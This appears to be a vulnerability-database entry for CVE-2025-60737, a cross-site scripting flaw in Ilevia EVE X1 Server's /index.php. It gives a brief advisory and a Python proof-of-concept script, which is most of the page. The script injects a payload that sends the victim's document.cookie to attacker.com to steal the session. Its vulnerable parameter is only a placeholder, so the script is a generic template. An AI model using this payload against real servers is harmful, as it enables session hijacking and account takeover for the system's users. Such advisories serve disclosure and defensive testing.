Cross Site Scripting vulnerability in Ilevia EVE X1 Server Firmware Version<= 4.7.18.0.eden:Logic Version<=6.00 - 2025_07_21 allows a remote attacker to execute arbitrary code via the /index.php component
cpe:2.3:h:ilevia:eve_x1_server:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ilevia EVE X1 Server Firmware < 4.7.18.0
eden:Logic Version < 6.00 (2025_07_21)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# CVE-2025-60737 PoC - XSS in Ilevia EVE X1 Server /index.php
# Target: Ilevia EVE X1 Server Firmware <= 4.7.18.0
TARGET_URL = "http://target-server/index.php"
# XSS payload to steal session cookies
xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"
def exploit_xss():
"""
Exploit CVE-2025-60737: XSS vulnerability in /index.php
The payload is injected into a vulnerable parameter that is reflected without sanitization.
"""
params = {
'param': xss_payload # Replace 'param' with actual vulnerable parameter
}
try:
response = requests.get(TARGET_URL, params=params, timeout=10)
print(f"[*] Request sent to {TARGET_URL}")
print(f"[*] Payload: {xss_payload}")
if xss_payload in response.text:
print("[+] XSS payload reflected in response - vulnerability confirmed")
else:
print("[-] Payload not found in response")
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
if __name__ == "__main__":
print("CVE-2025-60737 PoC - Ilevia EVE X1 Server XSS")
exploit_xss()